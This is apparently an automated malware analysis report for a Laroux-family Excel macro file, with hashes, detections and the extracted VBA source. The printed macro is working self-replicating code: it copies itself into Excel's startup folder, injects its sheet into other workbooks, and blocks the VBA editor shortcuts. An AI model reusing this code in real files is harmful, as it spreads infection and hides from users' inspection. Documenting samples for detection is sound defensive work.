Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 462fdd72d0aad4f4…

MALICIOUS

Office (OLE)

18.5 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-09-23
MD5: 49e7752b6428a8cf78fdf3431896bd47 SHA-1: 295cbbf94d08813dacad9880e75b0d36aeb2d5e9 SHA-256: 462fdd72d0aad4f4c66d5023333eb8d96202892dba9047cf4cf440eaa6d2cc85
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is an Excel document containing VBA macros, specifically an Auto_Open macro. This macro attempts to copy itself to the Excel startup path as 'StartUp.xls', which could be used to establish persistence. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 945 bytes
SHA-256: e6a1b81a4a548e8f5cc6a7b0474d869c6f895739d5cb3b202f7eb790f51fd80c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = True
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (true)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.EnableEvents = True
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = True
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    End If
End Sub

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